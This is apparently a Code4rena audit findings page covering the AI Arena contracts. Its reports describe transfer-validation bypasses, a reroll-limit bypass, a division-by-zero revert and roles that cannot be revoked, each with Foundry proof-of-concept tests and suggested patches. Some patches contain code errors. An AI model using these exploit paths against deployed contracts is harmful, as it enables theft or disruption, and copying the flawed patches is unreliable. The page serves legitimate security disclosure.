Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 107/283
Findings: 8
Award: $50.17
π Selected for report: 1
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175
The impact here is severe breaching the main invariants of the protocol,
1. Staked tokens should not be transfereable
2. an address should not hold more than MAX_FIGHTERS_ALLOWED
Both these invariants can be breached by transfering the tokens via safeTransferFrom(from, to, id, data).
code from FighterFarm::_ableToTransfer
function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && !fighterStaked[tokenId] ); }
The functions safeTransferFrom(from, to, id) and transferFrom(from, to, id) has the above validation to check if a token should be transfered or not by overriding them, but safeTransferFrom(from, to, id, data) is not overridden, making it a way to transfer tokens without validation.
The logs show, that token id = 0 is staked , but the owner could transfer it to address(1)
. And the owner is changed, but still the id is staked. And also with this POC we can prove the tokens are transferrabe even breaching the MAX_FIGHTERS_ALLOWED
, so an address can have more than MAX_FIGHTERS_ALLOWED
.
[PASS] test_POC_FighterFarm_transfer() (gas: 520849) Traces: [520849] FighterFarmTest::test_POC_FighterFarm_transfer() ββ [24690] FighterFarm::addStaker(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) β ββ β () ββ [23859] FighterFarm::updateFighterStaking(0, true) β ββ emit Locked(tokenId: 0) β ββ β () ββ [484] FighterFarm::fighterStaked(0) [staticcall] β ββ β true -------- skimmed --------------- ββ [581] FighterFarm::ownerOf(0) [staticcall] β ββ β FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1] ββ [0] VM::prank(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) β ββ β () ββ [28422] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 0x0000000000000000000000000000000000000001, 0, 0x) β ββ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], approved: 0x0000000000000000000000000000000000000000, tokenId: 0) β ββ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: 0x0000000000000000000000000000000000000001, tokenId: 0) β ββ β () ββ [581] FighterFarm::ownerOf(0) [staticcall] β ββ β 0x0000000000000000000000000000000000000001 ββ [484] FighterFarm::fighterStaked(0) [staticcall] β ββ β true ββ β ()
Paste the below POC into test/FighterFarm.t.sol and run forge t --mt test_POC_FighterFarm_transfer -vvvv
function test_POC_FighterFarm_transfer() public { // mint _mintFromMergingPool(_ownerAddress); vm.prank(_DELEGATED_ADDRESS); _fighterFarmContract.setTokenURI(0, "gg"); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // stake _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); // transfer vm.prank(_ownerAddress); _fighterFarmContract.safeTransferFrom(address(_ownerAddress), address(1), 0, ""); assertEq(_fighterFarmContract.ownerOf(0), address(1)); assertEq(_fighterFarmContract.fighterStaked(0), true); }
Manual + Foundry testing
Add the below overriden function into FighterFarm contract to also validate this type of transfer action.
+ function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes memory data + ) public override(ERC721, IERC721) { + require(_ableToTransfer(tokenId, to)); + _safeTransfer(from, to, tokenId, data); + }
Token-Transfer
#0 - c4-pre-sort
2024-02-23T05:14:51Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:15:01Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:46:06Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L301 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146
Certain game items are designed to be non-transferable, sp any transfer action involved with this nft contract should validate if current transferring tokenId is transferrable or not according to that game item data.
Code from GameItems::safeTransferFrom
function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override(ERC1155) { @---> require(allGameItemAttributes[tokenId].transferable); super.safeTransferFrom(from, to, tokenId, amount, data); }
The contract overrides the GameItems::safeTransferFrom function to validate the transferrable bool, but did not override GameItems::safeBatchTransferFrom to validate the bool. so any user with balance can transfer these tokens even if they are not allowed for transfers.
[PASS] test_POC() (gas: 199370) Logs: balanceOf(address(this), tokenId): before 5 balanceOf(address(1), tokenId): before 0 ----------- Batch transfer happening -------------- balanceOf(address(this), tokenId): After 0 balanceOf(address(1), tokenId): After 5 ββ [0] VM::expectRevert() β ββ β () ββ [1314] GameItems::safeTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x0000000000000000000000000000000000000001, 0, 5, 0x) β ββ β "EvmError: Revert" ββ [21958] GameItems::safeBatchTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x0000000000000000000000000000000000000001, [0], [5], 0x) β ββ emit TransferBatch(operator: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], from: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000001, ids: [0], values: [5]) β ββ β ()
Paste the below POC into test/GameItems.t.sol and run forge t --mt test_POC -vvvv
function test_POC() external { uint tokenId = 0; uint quantity = 5; _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(tokenId, quantity); _gameItemsContract.adjustTransferability(tokenId, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(tokenId); assertEq(transferable, false); vm.expectRevert(); _gameItemsContract.safeTransferFrom(address(this), address(1), tokenId, quantity, ""); console.log('balanceOf(address(this), tokenId): before ', _gameItemsContract.balanceOf(address(this), tokenId)); console.log(' balanceOf(address(1), tokenId): before ', _gameItemsContract.balanceOf(address(1), tokenId)); console.log(' '); console.log('----------- Batch transfer happening --------------'); console.log(' '); uint256[] memory ids = new uint[](1); uint256[] memory amounts = new uint[](1); ids[0] = tokenId; amounts[0] = quantity; _gameItemsContract.safeBatchTransferFrom(address(this), address(1), ids, amounts, ""); console.log('balanceOf(address(this), tokenId): After ', _gameItemsContract.balanceOf(address(this), tokenId)); console.log(' balanceOf(address(1), tokenId): After ', _gameItemsContract.balanceOf(address(1), tokenId)); }
Manual + Foundry testing
Add the following function to GameItems contract and override the GameItems::safeBatchTransferFrom inherited from ERC1155, to validate if tokenId is transferrable or not.
+ function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public override(ERC1155) { + require(allGameItemAttributes[tokenId].transferable); + super.safeBatchTransferFrom(from, to, tokenId, amount, data); + }
Token-Transfer
#0 - c4-pre-sort
2024-02-22T04:04:02Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:04:08Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:22Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:54:29Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
This impacts is not severe, but medium due to the invarianting breaking, to allow only max rerlls per that fighter. And it can only rerolled if new generation is increased.
Code from FighterFarm::reRoll
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); ------------------- skimmed ------------------------ }
But the token owner can call reroll
with fighterType
as param, so for normal bot (not dendroid) the owner will reroll max allowed for that fighter type. But after reaching maximum, he can again call reroll with different fighterType == 1
(dendroid), so now if the max rerolls for dendroid is greater than normal bots, then it will be rerolled., so now technically max rerolls are breached, and new skin/weights/looks for that tokens are obtained.
As you can see the logs, the max rerolls is breached by the token id 0's owner.
Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] test_POC_breach_maxRerolls() (gas: 748831) Logs: Before numRerolls(0): 0 After numRerolls(0): 4 maxRerollsAllowed(0): 3
For thr POC to run, paste the below code into FighterFarm:: to make rerolls possible, or else it will revert due to modulo by zero error. Because new elements implementation is missed, and it is covered in a separate issue. This issue is about breaching max rerolls, so even after that modulo by zero issue been fixed, this issue will remain beacuse the root causes are different
function setElements(uint8 gen, uint8 elements) external { require(msg.sender == _ownerAddress); numElements[gen] = elements; }
-Now paste the below test/FighterFarm.t.sol and run forge t --mt test_POC_breach_maxRerolls -vvvv
function test_POC_breach_maxRerolls() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); // mint _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // incrementGeneration and elements uint8 gen = 1; assertEq(_fighterFarmContract.generation(gen), 0); _fighterFarmContract.incrementGeneration(gen); // incrementing fighter type 1 assertEq(_fighterFarmContract.generation(gen), 1); _fighterFarmContract.setElements(gen, 3); // or else it will revert, not possible to reroll due to modulo by 0 revert panic console.log('Before numRerolls(0): ', _fighterFarmContract.numRerolls(0)); // rerolling now uint8 fighterType = 0; _fighterFarmContract.reRoll(0, fighterType); _fighterFarmContract.reRoll(0, fighterType); _fighterFarmContract.reRoll(0, fighterType); fighterType = 1; _fighterFarmContract.reRoll(0, fighterType); console.log('After numRerolls(0): ', _fighterFarmContract.numRerolls(0)); console.log('maxRerollsAllowed(0): ', _fighterFarmContract.maxRerollsAllowed(0)); }
Manual + Foundry testing
Validate FighterFarm::reroll's input param fighterType
, if that fighter is a dendroid or a normal bot.
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); + if (fighterType == 0) require(!fighters[tokenId].dendroidBool); + else require(fighters[tokenId].dendroidBool); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T02:06:19Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:06:25Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:34:30Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L500
The impact of this issue is mainly,
users cannot reroll their fighter if their generation id incremented even once
users cannot redeem mint passes by calling FighterFarm::redeemMintPass, if users claim after incrementing the generation.
users cannot claim fighter by calling FighterFarm::claimFighters, if users claim after incrementing the generation.
Code from _createFighterBase
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { @---> uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
The actions FighterFarm::redeemMintPass and FighterFarm::claimFighters depend on _createNewFighter which depends on FighterFarm::createFighterBase, and reroll directly always depends on FighterFarm::createFighterBase.
The root cause is the FighterFarm::createFighterBase internal function which calculates element
based on numElements[generation[fighterType]]
, if numElements for that generation of fighter type == 0, then it will revert.
So initially in constructor owner sets numElements[0] = 3;
, meaning for first gen, elements = 3.
But nowhere it is implemented to set elements for a particular generation/fighter type, so all the dependencies of numElements
with generation > 0 will revert.
Since _createFighterBase
is involved in rerolling, caliming, redeeming mints/fighters, this is a highly severe reverting action.
Division or modulo by 0
revert.ββ [0] VM::expectRevert(Division or modulo by 0) β ββ β () ββ [52842] FighterFarm::reRoll(0, 0) β ββ [586] Neuron::balanceOf(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [24933] Neuron::approveSpender(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000000 [1e21]) β β ββ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 1000000000000000000000 [1e21]) β β ββ β () β ββ [4763] Neuron::transferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000000 [1e21]) β β ββ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 0) β β ββ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000000 [1e21]) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ β "Division or modulo by 0" ββ β ()
forge t --mt test_POC_Revert_onReroll -vvvv
function test_POC_Revert_onReroll() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); // mint _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // incrementGeneration assertEq(_fighterFarmContract.generation(0), 0); _fighterFarmContract.incrementGeneration(0); assertEq(_fighterFarmContract.generation(0), 1); // rerolling now uint8 fighterType = 0; vm.expectRevert(stdError.divisionError); // panic EVM revert _fighterFarmContract.reRoll(0, fighterType); }
Manual + Foundry testing
- function incrementGeneration(uint8 fighterType) external returns (uint8) { + function incrementGeneration(uint8 fighterType, uint8 elemnets) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; + numElements[generation[fighterType]] = elemnets }
Error
#0 - c4-pre-sort
2024-02-22T18:50:11Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:50:21Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T07:04:34Z
HickupHH3 marked the issue as satisfactory
π Selected for report: nuthan2x
Also found by: 0xE1, 0xblackskull, 0xgrbr, 0xvj, Greed, McToady, MidgarAudits, PetarTolev, Sabit, SovaSlava, SpicyMeatball, Timenov, Tychai0s, _eperezok, alexxander, btk, c0pp3rscr3w3r, favelanky, jesjupyter, josephdara, juancito, klau5, kutugu, lil_eth, merlinboii, pynschon, sandy, shaflow2, zaevlad
37.8917 USDC - $37.89
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/Neuron.sol#L93-L96 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L40-L47 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L194-L207
From Neuron::addMinter and AccessControl::setupRole
function addMinter(address newMinterAddress) external { require(msg.sender == _ownerAddress); _setupRole(MINTER_ROLE, newMinterAddress); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } }
Roles of minter, staker, spender can never be revoked due to missing default admin implementation. The DEFAULT_ADMIN_ROLE
= 0x00 which is default role which is admin to all the roles, and the real contract owner should own this role, since it is not granted, the owner cannot govern the roles.
Another wrong implemnatation is using _setupRole
to grant roles intead of using _grantRole
, because of the warnings in the library contract.
From Openzeppelin::AccessControl and AccessControl::setupRole
* [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */
[PASS] test_POC_Revoke() (gas: 72392) Traces: [72392] NeuronTest::test_POC_Revoke() ββ [27181] Neuron::addMinter(NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β () ββ [0] VM::expectRevert() β ββ β () ββ [34420] Neuron::revokeRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) β ββ β "AccessControl: account 0x7fa9385be102ac3eac297483dd6233d62b3e1496 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000" ββ β ()
-Now paste the below POC into test/Neuron.t.sol and run forge t --mt test_POC_Revoke -vvvv
function test_POC_Revoke() external { _neuronContract.addMinter(_ownerAddress); vm.expectRevert(); _neuronContract.revokeRole(keccak256("MINTER_ROLE"), _ownerAddress); }
Manual + Foundry testing
Modify the constructor on Neuron.sol to grant default admin role to owner.
constructor(address ownerAddress, address treasuryAddress_, address contributorAddress) ERC20("Neuron", "NRN") { _ownerAddress = ownerAddress; treasuryAddress = treasuryAddress_; isAdmin[_ownerAddress] = true; _mint(treasuryAddress, INITIAL_TREASURY_MINT); _mint(contributorAddress, INITIAL_CONTRIBUTOR_MINT); + _grantRole(DEFAULT_ADMIN_ROLE, _ownerAddress); }
Access Control
#0 - c4-pre-sort
2024-02-22T05:12:23Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T05:12:31Z
raymondfam marked the issue as duplicate of #20
#2 - c4-judge
2024-03-05T07:40:36Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-05T07:41:21Z
HickupHH3 marked the issue as selected for report
#4 - HickupHH3
2024-03-05T07:41:52Z
selecting as best report because it also mentions that _grantRole
should be used instead of _setupRole
#5 - iceBearRobot
2024-03-19T13:12:51Z
Dear Judge: This issue have been covered by 4naly3er: https://github.com/code-423n4/2024-02-ai-arena/blob/main/4naly3er-report.md#l-1-do-not-use-deprecated-library-functions Automated Findings / Publicly Known Issues section is considered a publicly known issue and is ineligible for awards.
Also provide references to the same issue in 2023-08-dopex for comparison. https://github.com/code-423n4/2023-08-dopex-findings/issues/871
Thanks for your reply!!
#6 - Haxatron
2024-03-19T14:13:17Z
QA (Centralization Risk). For this to be an actual issue, you would need to compromise either the admin or the minter / staker / spender contracts.
#7 - 0xbtk
2024-03-19T14:54:23Z
Hey @iceBearRobot and @Haxatron,
The issue isn't about deprecated functions or compromising roles.
It's about the devs not initializing the DEFAULT_ADMIN_ROLE correctly, which makes all roles irrevocable. This doesn't pose a risk of centralization. Take another look at the issue please.
#8 - Haxatron
2024-03-19T14:56:48Z
For that to be an actual issue, the admin must either be compromised, accidentally assign the roles to wrong address or compromise the contracts assigned this role.
#9 - 0xbtk
2024-03-19T15:01:39Z
@Haxatron Haven't you ever encountered protocols where an owner assigns a role to an address(Not by mistake), and then revoked it later on when the role is no longer needed?
This falls under:
Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
#10 - Haxatron
2024-03-19T15:08:53Z
The address will be immutable contracts, if they are EOAs then maybe it will be a different story.
I will defer to the judge for this one.
#11 - McCoady
2024-03-19T15:18:54Z
Given some of the reports mention being unable to revoke in the case of malicious actors or leaked private keys, some added context from the sponsor during the contest:
This meaning both the above are impossible barring significant error on the part of the protocol team (assigning roles to a wrong address (an EOA)). Whether or not being unable to revoke previously trusted contracts warrants a med is up to the judge's decision, but thought the added context would be useful.
#12 - HickupHH3
2024-03-19T23:54:55Z
Yes, I'm excluding admin error in this. Simply about functionality: not being able to revoke roles might be problematic for deprecation / migration purposes
π Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.1173 USDC - $0.12
Judge has assessed an item in Issue #1937 as 2 risk. The relevant finding follows:
claimNRN can be DOS if rains go over 100+
#0 - c4-judge
2024-03-12T02:52:28Z
HickupHH3 marked the issue as duplicate of #216
#1 - c4-judge
2024-03-12T02:52:32Z
HickupHH3 marked the issue as partial-25
#2 - c4-judge
2024-03-21T03:02:39Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-21T03:02:48Z
HickupHH3 marked the issue as partial-50
π Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L343 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486
Code from RankedBattle::_addResultPoints
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); /// Calculate the staking factor if it has not already been calculated for this round if (_calculatedStakingFactor[tokenId][roundId] == false) { stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk); _calculatedStakingFactor[tokenId][roundId] = true; } /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { --------------- skimmed -------------------------------- } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } 